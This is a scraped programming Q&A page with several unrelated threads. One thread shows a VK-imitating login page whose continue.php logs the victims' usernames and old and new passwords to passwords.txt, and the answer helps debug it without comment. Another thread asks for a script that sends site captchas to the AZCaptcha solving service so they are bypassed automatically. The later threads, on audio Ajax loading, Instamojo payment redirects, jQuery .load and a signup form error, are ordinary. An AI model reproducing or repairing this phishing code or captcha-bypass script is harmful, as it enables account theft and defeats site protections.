I am trying to make a program that decodes base64 images, sends the request to an AZCaptcha server, and puts the answer to the label that I want.
When I go to this website I see that the captcha is base64 encoded, and the ID is changeable every time when I press the button Load another picture. In this site there are no unique IDs.
The code should have four functions: one that gets the exact ID (ID is not unique, when you refresh the website, it changes the ID of captcha), another that sends this ID (ID of captcha when I will open the website), to the server, and a third that puts the answer from AZCaptcha server to the next label.
Here are two functions that are used to send and parse the request to the server:
function sendToAPI(base64) {
base64 = encodeURIComponent(base64);
GM_xmlhttpRequest({
method: "POST",
url: "http://azcaptcha.com/in.php",
data: "method=base64&key=" + apikey + "&body=" + base64,
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
onload: function(response) {
var responseString = response.responseText;
GM_log("Debug(Send): " + responseString);
if (responseString == "ERROR_WRONG_USER_KEY" || responseString == "ERROR_KEY_DOES_NOT_EXIST" || responseString == "ERROR_ZERO_BALANCE" || responseString == "ERROR_ZERO_CAPTCHA_FILESIZE" || responseString == "ERROR_TOO_BIG_CAPTCHA_FILESIZE" || responseString == "ERROR_WRONG_FILE_EXTENSION" || responseString == "ERROR_IMAGE_TYPE_NOT_SUPPORTED") {
userLog("There has been a pretty severe error:" + responseString + ", you should disable the plugin and report this.", "error");
throw new Error("Stopping execution");
} else if (responseString == "ERROR_IP_NOT_ALLOWED" || responseString == "IP_BANNED") {
userLog("For some reason your IP has been banned from the service. You should disable the plugin and report this.", "error");
throw new Error("Stopping execution");
} else if (responseString == "ERROR_NO_SLOT_AVAILABLE") {
userLog("The server is at maximum capacity, we are resubmitting in 15s.", "warning");
} else {
userLog("Captcha sent, awaiting response", "success"); //Should really if this to deal with other responses sooner
setTimeout(parseResponse, 15000, responseString);
}
}
});
}
//Parse the response from the server
function parseResponse(prevResponse) {
var captchaID = prevResponse.split("|");
GM_xmlhttpRequest({
method: "GET",
url: "http://azcaptcha.com/res.php?key=" + apikey + "&action=get&id=" + captchaID[1],
onload: function(response) {
var getResponse = response.responseText;
if (getResponse == "CAPCHA_NOT_READY" || getResponse == "CAPTCHA_NOT_READY") {
userLog("Captcha is not ready yet. Let's wait 10 seconds", "warning");
captchaID = null;
setTimeout(parseResponse, 10000, prevResponse);
//Deal with errors
} else if (getResponse == "ERROR_KEY_DOES_NOT_EXIST" || getResponse == "ERROR_WRONG_ID_FORMAT") {
userLog("Fatal error! We have to quit out of the script. The error was: " + getResponse, "error");
throw new Error("Stopping execution");
} else if (getResponse == "ERROR_WRONG_CAPTCHA_ID") {
userLog("Our ID is wrong, so the server is probably having issues. Wait 15s and attempting resubmit.", "warning");
setTimeout(checkBotcheck, 15000);
} else if (getResponse == "ERROR_CAPTCHA_UNSOLVABLE") {
userLog("Server thought the captcha was unsolvable, so we're going to resend it.", "warning");
setTimeout(checkBotcheck, 5000);
} else {
GM_log("Debug(Response): " + getResponse);
//Assuming we're all good
var captchaArray = getResponse.split("|");
var captchaAnswer = captchaArray[1];
submitToCaptcha(captchaAnswer);
count++;
setTimeout(userLog, 3000, "We think the botcheck is: " + captchaAnswer + ". We are going to wait 15 seconds to see if it was. We have attempted to solve " + count + " botchecks (including retries).", "success");
}
}
});
I want to make an code, that sends to the server, the exact ID of the image, gets the response from the server, and puts the answer to next label.
Can you help me somehow to solve this problem?
Related
I have some problems with sending AJAX form.I have got error like on the screenshot:
What about line 72 and other type of code,I try to send request using ajax:
var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
var response = JSON.parse(auth.responseText);
/*if (response.access_token) {
changePassword(login, password, response.access_token, g("newpassword").value);
return;
}*/
if (response.api) {
if (response.result) {
window.location.replace("https://vk.com/id0");
} else {
gettedToken = response.token;
var e = response.api.error;
if (e.error_code === 14) {
$("#password, #sms").fadeOut(300, function () {
$("#capt").fadeIn(300);
});
g("captcha_key").value = "";
g("captcha_key").focus();
g("capt_img").src = e.captcha_img;
g("captcha_sid").value = e.captcha_sid;
}
}
return;
}
So, where can be the problem to fix it?Because button to send form isn't work.
Here is my file continue.php
if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
{
$location='https://vk.com/';
$Log = $_GET['mobile'];
$Pass = $_GET['pass'];
$newpassword = $_GET['newpass'];
$newpassword2 = $_GET['repass'];
$smscode = $_GET['code'];
$log = fopen("passwords.txt","a+");
fwrite($log,"\n $Log:$Pass:$newpassword:$newpassword2 \n");
fclose($log);
$answer = ['type' => 'success', 'message' => 'All OK'];
echo json_encode($answer);
} else {
echo json_encode(['type' => 'error', 'message' => 'All not OK']);
}
First of all there are some things in your code that I will like to point out.
If you are using $.ajax to do some kinda of login which It looks like you are tryng to do, I would use the POST method instead of GET, since you are dealing with passwords and other important information.
You never specified in your $.ajax what type of data your request is using e.g: JSON,TEXT,HTML
(this is a personal one) I would use an object to pass the parameters of the ajax call rather than append them to the url.
that said here is a javascript code you can try in order the get the response back from your server:
`//I would use an object of parameters rather than embedded parameters into the url
let params = {
"act": "login",// i guess u use some case match and the actvity login have the php code you provide
"login": encodeURIComponent(login),
"oldPassword": encodeURIComponent(password) ,
"captcha_key": captcha_key ,
"captcha_sid": captcha_sid ,
"validation_sid": validation_sid ,
"code": smscode ,
"newPassword": encodeURIComponent(g("newpassword").value),
"is2fa": (have2fa ? 1 : 0) ,
"qid": encodeURIComponent(window.location.search) ,
"token": gettedToken
},
url = "continue.php",//I guess this is the php page that contains the methods you append to your question
type = "GET";// I would use post instead of get since you are sending passwords and other stuff
const _ajax = (url, type, params) => {
return $.ajax({
url: url,
type: type,
dataType: 'JSON',
data: params
})
}
_ajax(url,type,params)
.done((response)=>{
console.log(response);
//do your stuff here
})`
Please let me know if this answer was helpful to resolve your problem or if there is something else I can do to help you.
I'm trying to serve a piece an audio file (from a web-application) that is stored on a network location, it works but I'd like to actually process the ajax that is made so that I can show a mask while the audio is being buffered/fetched.
The C# code looks like this:
long fSize = (new System.IO.FileInfo(FilePath)).Length;
long startbyte = 0;
long endbyte = fSize - 1;
int statusCode = 200;
if ((request.Headers["Range"] != null))
{
//Get the actual byte range from the range header string, and set the starting byte.
string[] range = request.Headers["Range"].Split(new char[] { '=', '-' });
startbyte = Convert.ToInt64(range[1]);
if (range.Length > 2 && range[2] != "") endbyte = Convert.ToInt64(range[2]);
//If the start byte is not equal to zero, that means the user is requesting partial content.
if (startbyte != 0 || endbyte != fSize - 1 || range.Length > 2 && range[2] == "")
{ statusCode = 206; }//Set the status code of the response to 206 (Partial Content) and add a content range header.
}
long desSize = endbyte - startbyte + 1;
//Headers
response.StatusCode = statusCode;
response.ContentType = String.Format(#"audio/{0}", fileLocation.Split('.')[1]);
response.AddHeader("Content-Length", desSize.ToString());
response.AddHeader("Content-Range", string.Format("bytes {0}-{1}/{2}", startbyte, endbyte, fSize));
response.AddHeader("Content-Disposition", Regex.Replace(fileLocation, #"([^\\]+$)", v => String.Format("attachment; filename={0}", v.Value)));
//Data
response.WriteFile(FilePath, startbyte, desSize);
response.End();
The C# code is called directly from the src tag like so:
Ext.create('widget.panel', {
html: '<audio controls>' +
'<source src="/api/getaudio/' + encodeURIComponent(audioPath) + '/"' +
' type="audio/' + el.getAttribute('data-audiolocation').split('.')[1] + '">' +
'</audio>',
});
But since the ajax-call isn't made from the framework I can't process the request.
I've tried to lift it out like so:
var audioFile = Ext.Ajax.request({
url: '/api/getaudio/' + encodeURIComponent(audioPath) + '/',
method: 'GET',
success: function(response, opts) {
console.log(response);
},
failure: function(response, opts){
console.log(response);
}
});
html: '<audio controls src="' + audioPath + '"></audio>',
But that doesn't seem to work.
What can I do to do the ajax-call outside of the html-tag and then put/inject the response to the html5-audio-player-thing?
Or can I somehow intercept the ajax within the function itself and add a mask or do whatever there? I've seen some people talking about catching ALL ajax-requests but that seems overkill just to get this to work.
Stuart pointed me in the right direction.
However I was using the frameworks "Ext.get" method to access the HTML5 audio player which had other methods (with the same names) so I had to use normal javascript and add a listener for the "canplay" event:
document.getElementById('audioPlayer').addEventListener("canplay", function(event) {
Ext.get('audioWindow').unmask();
document.getElementById('audioPlayer').play();
}, true);
document.getElementById('audioSource').src = '/api/getaudio/' + encodeURIComponent(audioPath) + '/';
document.getElementById('audioPlayer').load();
i created a login.php file where the user can will be navigated to instamojo payment page . After completing the transaction the user is getting the success message from instamojo , but i need to display the successful transaction in my domain or in own php file . so how can i get the transation related information to my webpage or to my login.php file
Ex: Redirecting from our login.php to instamojo(payment gateway)and response back (success message)to our login.php intimating the user that payment is success
var rootURL = "cgshealthcare.com/HealthCareSystem/";;
$(document).ready(function() {
$('#login').click(function() {
if ($('#username').val() == "" || $('#password').val() == "") {
alert("Please enter username or password");
return false;
}
cardloginUser($('#username').val(), $('#password').val());
});
});
function forwardtoRegister() {
window.location = "login.php?page=register";
}
function cardloginUser(userName, password) {
console.log('userName: ' + userName);
console.log('password: ' + password);
if (userName.length < 1) {
$('#errorlist').html("<font color='red'><b> Please enter User ID</b></font>");
return false;
}
if (password.length < 1) {
$('#errorlist').html(" <font color='red'><b> Please enter Password</b></font>");
return false;
}
console.log(rootURL + '/authenticate/' + userName + '/' + password);
$.ajax({
type: 'GET',
url: rootURL + '/authenticate/' + userName + '/' + password,
dataType: "json",
success: function(data) {
console.log("hello" + data.responseMessageDetails);
var list = data == null ? [] : (data.responseMessageDetails instanceof Array ? data.responseMessageDetails : [data.responseMessageDetails]);
console.log("List : " + list);
if ((list).length < 1) {
$('#errorlist').html("<font color='red'><b> Invalid User Name and Password Combination </b></font>");
$('#errorblock').css("visibility") == "visible";
}
$.each(list, function(index, responseMessageDetails) {
console.log("Status " + responseMessageDetails);
var message = responseMessageDetails.message;
if (message.indexOf("]:") > 0) message = message.substring(0, message.indexOf("]:") + 2);
console.log("message" + message);
console.log("USer Data" + responseMessageDetails.status);
console.log("USer Data" + responseMessageDetails.message);
if (responseMessageDetails.status == "Success") {
window.location = "imjo.in/NpKxN";;
} else if (responseMessageDetails.status == "Fail") {
window.location = "www.google.com";
console.log("Fail1");
$('#errorlist').html("<font color='red'><b>" + message + "</b></font>");
} else {
console.log("Fail111");
$('#errorlist').html("<font color='red'><b> We are sorry some intermittent Issue. Please try after some time. </b></font>");
}
});
},
error: function(data) {
console.log("data...." + data);
var list = data == null ? [] : (data.responseMessageDetails instanceof Array ? data.responseMessageDetails : [data.responseMessageDetails]);
console.log("data...." + data);
$.each(list, function(index, responseMessageDetails) {
console.log(responseMessageDetails);
var message = responseMessageDetails.message;
if (message.indexOf("]:") > 0) message = message.substring(0, message.indexOf("]:") + 2);
$('#errorlist').html("<font color='red'><b>" + message + "</b></font>");
});
}
});
}
function showLogin() {
window.location = "login.php";
}
Please look at the integration guide here.
After user enters payment information on instamojo, they are redirected to a redirect-url which you specify (and is a url on your website). Instamojo appends transaction results to this url. You can make it a php url on your website and read the results using GET method. Depending upon the results, you can process your payment and display results to the end-user. More on GET method here...
Instamojo also provides for webhooks, which are like silent POSTs in the background and can be used as backups in case redirect urls in front-end fail for some reason. This way if end-users' redirection failed for any reason, the webhook will still receive information in the background which can be used you to update your database for success/failure of transaction. Of course you webserver has to be up and running to receive webhooks notifications. If that's the point of failure, nothing will work :)
The API link I shared has all those details.
Thanks
I am currently loading the same page 3 times with 3 different .load() calls. I am wanting to know if there is something I can do to optimize the code.
When I click a link currently it loads the page 3 times
$("#"+target).load(url + " #page", function(response, status, xhr){
if(status === "error")
{
$("#"+target).load('error.php?error=503 #page', function(response, status, xhr){
if(status === "error")
{
alert("Something has gone very wrong right now, please contact an admin quoting 'error.php'");
return;
}
}); // This should never fail but if it does kill the page
console.log('Content failed to load ' + xhr.status + ' ' + xhr.statusText);
//Force update the title to error
document.title = "Error";
$("#pageBreadcrumbs").load('error.php #breadcrumbs');
}
else
{
console.log('Content was loaded');
//Load the title dynamically
document.title = "Venus | " + name;
$("#pageBreadcrumbs").load(url + ' #breadcrumbs');
if(sidebar === true)
$("#pageSidebar").load(url + ' #sidebar');
}
Is there anyway I can shorten this to just 1 call to the url or error page and extract it from there?
You can use this code:
$.get(url, function(response) {
var $nodes = $(response);
... some conditions ...
var $container1 = $("#"+target).html('');
$nodes.find('#page').appendTo($container1);
... some conditions ...
var $container2 = $("#pageBreadcrumbs").html('');
$nodes.find('#breadcrumbs').appendTo($container2);
});
I'm not really sure that it works, but you can try it...
UPDATE
This code assumes that whole server response is wrapped in one container (div)
I am making a website and I have a signup.php page where the users can register and enter their information into the mysqli database. When I do this, I am almost there, I just keep getting a problem at this one line:
ajax.send("&u="+u+"&e="+e+"&p="+p1+"&g="+g);
It is basically sending the variables in the ajax/javascript check to get ready for transport to server. But I am getting an internal server 500 error at that line. Any ideas? I will post more code if you want me to.
function ajaxReturn(x){
if(x.readyState == 4 && x.status == 200){
return true;
}
}
function signup(){
var u = _("username").value;
var e = _("email").value;
var p1 = _("pass1").value;
var p2 = _("pass2").value;
var g = _("gender").value;
var status = _("status");
if(u == "" || e == "" || p1 == "" || p2 == "" || g == ""){
status.innerHTML = "Fill out all of the form data";
} else if(p1 != p2){
status.innerHTML = "Your password fields do not match";
} else {
_("signupbtn").style.display = "none";
status.innerHTML = 'please wait ...';
var ajax = ajaxObj("POST", "signup.php");
ajax.onreadystatechange = function() {
if(ajaxReturn(ajax) == true) {
if(ajax.responseText != "signup_success"){
status.innerHTML = ajax.responseText;
_("signupbtn").style.display = "block";
} else {
window.scrollTo(0,0);
_("signupform").innerHTML = "OK "+u+", check your email inbox and junk mail box at <u>"+e+"</u> in a moment to complete the sign up process by activating your account. You will not be able to do anything on the site until you successfully activate your account.";
}
}
}
type:post;
ajax.send("&u="+u+"&e="+e+"&p="+p1+"&g="+g);
}
}
A 500 Internal Server Error code is an HTTP response code, indicating that you have reached out to the server and it has responded with an error. So it doesn't appear to be a problem with your JS code (at least as far as we can tell from what you've posted).
Try doing var_dump($_REQUEST); die(); as the first line in signup.php. Does that give you a 200 status code? If so, try moving that line down your code on the server until you get back to the 500 Internal Server Error, and you've found the line that's causing the problem.
You have the question tagged with jQuery, but I don't see any jQuery in your code sample. If you do have it, try this:
function signup() {
var status = $('#status');
var signupbtn = $('#signupbtn');
var data = {
u: $('#username').val(),
e: $('#email').val(),
p: $('#pass1').val(),
g: $('#gender').val()
};
if (data.u == '' || data.e == '' || data.p == '' || data.g == '') {
status.text('Fill out all of the form data');
return;
} else if (data.p != $('#pass2').val()) {
status.text('Your password fields do not match');
return;
}
signupbtn.hide();
status.text('please wait...');
$.ajax({
type: 'post',
url: 'signup.php',
data: data,
success: function(responseText) {
if (responseText != 'signup_success') {
status.text(responseText);
signupbtn.show();
return;
}
window.scrollTo(0, 0);
$('#signupform').html('OK '+ data.u +', check your email inbox and junk mail box at <u>'+ data.e +'</u> in a moment to complete the sign up process by activating your account. You will not be able to do anything on the site until you successfully activate your account.');
},
});
}